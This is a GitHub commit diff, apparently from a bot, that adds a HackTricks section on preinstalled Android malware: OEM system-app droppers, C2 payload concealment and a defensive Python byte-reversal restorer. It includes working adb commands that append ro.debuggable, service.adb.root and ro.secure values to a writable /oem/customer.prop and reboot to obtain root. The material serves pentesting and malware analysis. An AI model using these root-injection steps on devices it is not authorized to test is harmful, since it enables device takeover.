Skip to content

Commit 6478bee

Browse files
author
HackTricks News Bot
committed
Add content from: Pre-installed C2 Infrastructure and RAT Payload on Android P...
1 parent a3055b7 commit 6478bee

1 file changed

Lines changed: 83 additions & 0 deletions

File tree

  • src/mobile-pentesting/android-app-pentesting

src/mobile-pentesting/android-app-pentesting/README.md

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -127,6 +127,87 @@ Instead of custom sockets, some malware uses **Firebase Cloud Messaging (FCM)**
127127

128128
Native payloads can be delivered as encrypted ELF blobs and decrypted with `CipherInputStream()`, using a key **derived from SHA‑1 of the downloaded filename**. Each filename/version yields a distinct key, hindering static IOC reuse.
129129

130+
### OEM system-app droppers and `customer.prop` root backdoors
131+
132+
Cheap Android TVs/projectors and other OEM devices sometimes ship with **privileged system apps** signed with **AOSP test keys** or an OEM platform key, plus **weak boot-property handling**. Treat these builds as both an Android-app and firmware target: the system app can act as a **dropper**, while insecure OEM partitions can turn **ADB over TCP** into a repeatable root backdoor.
133+
134+
Practical triage:
135+
- Enumerate risky properties and build traits:
136+
```bash
137+
adb shell 'id; getenforce; getprop ro.build.type ro.debuggable ro.secure service.adb.tcp.port ro.build.fingerprint'
138+
adb shell 'pm list packages -s -U | grep -Ei "store|ota|update|sdk|silent|service"'
139+
adb shell 'pm path <pkg>; dumpsys package <pkg> | sed -n "/grantedPermissions:/,/User 0/p"'
140+
```
141+
- Check for **writable OEM property files** loaded at boot:
142+
```bash
143+
adb shell 'mount | grep " /oem "'
144+
adb shell 'ls -l /oem /oem/customer.prop 2>/dev/null'
145+
adb shell 'grep -R "customer.prop\\|import /oem\\|load.*prop" /init* /system/etc/init /vendor/etc/init 2>/dev/null'
146+
```
147+
- If ADB TCP is exposed, review [5555 Android Debug Bridge](../../network-services-pentesting/5555-android-debug-bridge.md) because a writable OEM property file can upgrade an unauthenticated `shell` session into full root after reboot.
148+
149+
Boot-time property injection pattern:
150+
- If `/oem/customer.prop` is writable and imported during boot, adding:
151+
- `ro.debuggable=1`
152+
- `service.adb.root=1`
153+
- `ro.secure=0`
154+
- then rebooting can make `adb root` succeed on otherwise production-looking devices:
155+
156+
```bash
157+
adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop'
158+
adb shell 'echo "service.adb.root=1" >> /oem/customer.prop'
159+
adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
160+
adb reboot && adb wait-for-device && adb root
161+
adb shell 'id; getenforce'
162+
```
163+
164+
System-app dropper pattern:
165+
- A preinstalled package with `sharedUserId=android.uid.system` or powerful permissions such as `INSTALL_PACKAGES`, `WRITE_SECURE_SETTINGS`, `CLEAR_APP_USER_DATA`, or `MANAGE_EXTERNAL_STORAGE` can silently behave as a **manifest-driven dropper**.
166+
- Typical flow:
167+
1. `BootReceiver` or similar autostart component polls a vendor endpoint.
168+
2. The server returns JSON metadata such as `pkg`, encrypted `path`, `md5`, `launchType`, `launchParam`, `isShow`, and `reverseLen`.
169+
3. The app downloads a disguised payload container (`.bpp`, fake media, encrypted blob).
170+
4. A local unpacking routine restores the real APK/DEX.
171+
5. Integrity is checked.
172+
6. Installation happens with `pm install -r` or PackageManager APIs.
173+
7. A service/activity from `launchParam` is started for persistence.
174+
175+
Minimal indicators when reversing this pattern:
176+
- `Runtime.getRuntime().exec("pm install -r " + filePath)`
177+
- Boot receivers and exported foreground services with no launcher icon
178+
- `usesCleartextTraffic=true`, hidden packages (`isShow=false`), and CDN paths derived from device identifiers
179+
- `sharedUserId=android.uid.system` or platform-signed system APKs inside `/system`, `/product`, `/vendor`, or `/oem`
180+
181+
### C2-controlled anti-analysis for Android payload delivery
182+
183+
OEM droppers sometimes make the network artifact intentionally non-parsable unless you recover a **server-supplied transform parameter** from the C2 manifest.
184+
185+
- **Byte-reversal packer**: the first `reverseLen` bytes of the downloaded file are reversed before verification/install, so the `.bpp` or `.apk` looks corrupt until you undo the same transformation.
186+
- **AES-CBC path concealment**: the download path/URL can be encrypted in JSON and derived from a device/channel identifier, so intercepted traffic does not immediately reveal the CDN location.
187+
188+
This creates a useful workflow for analysts:
189+
1. Capture the manifest response over HTTP(S) or instrument the client.
190+
2. Extract `reverseLen`, `md5`, and the encrypted `path`.
191+
3. Reproduce any key/IV derivation from `chanId`/channel/build properties.
192+
4. Decrypt the CDN path.
193+
5. Undo the byte transformation before feeding the sample to `jadx`, `apktool`, `file`, or DEX parsers.
194+
195+
Minimal byte-reversal restoration logic:
196+
197+
```python
198+
def restore_prefix_reversal(data: bytes, reverse_len: int) -> bytes:
199+
if not reverse_len or reverse_len <= 0:
200+
return data
201+
offset = len(data) % reverse_len
202+
if len(data) - offset < reverse_len:
203+
reverse_len = len(data)
204+
offset = 0
205+
head = data[:offset]
206+
middle = data[offset:offset + reverse_len][::-1]
207+
tail = data[offset + reverse_len:]
208+
return head + middle + tail
209+
```
210+
130211
## Jezail rooted Android pentesting toolkit (REST API + web UI)
131212

132213
- Runs on a **rooted device** (Magisk/rootAVD) and starts an **HTTP server on tcp/8080** with a **Flutter web UI** and **REST API**.
@@ -972,5 +1053,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
9721053
- [justapk — multi-source APK downloader with Cloudflare bypass](https://github.com/TheQmaks/justapk)
9731054
- [Jezail rooted Android pentesting toolkit (REST API + Flutter UI)](https://github.com/zahidaz/jezail)
9741055
- [BeatBanker: A dual‑mode Android Trojan](https://securelist.com/beatbanker-miner-and-banker/119121/)
1056+
- [Pre-installed C2 Infrastructure and RAT Payload on Android Projectors](https://github.com/Kavan00/Android-Projector-C2-Malware)
1057+
- [Reverse-engineering pre-installed Android malware with Claude Code](https://zanestjohn.com/blog/reing-with-claude-code)
9751058

9761059
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)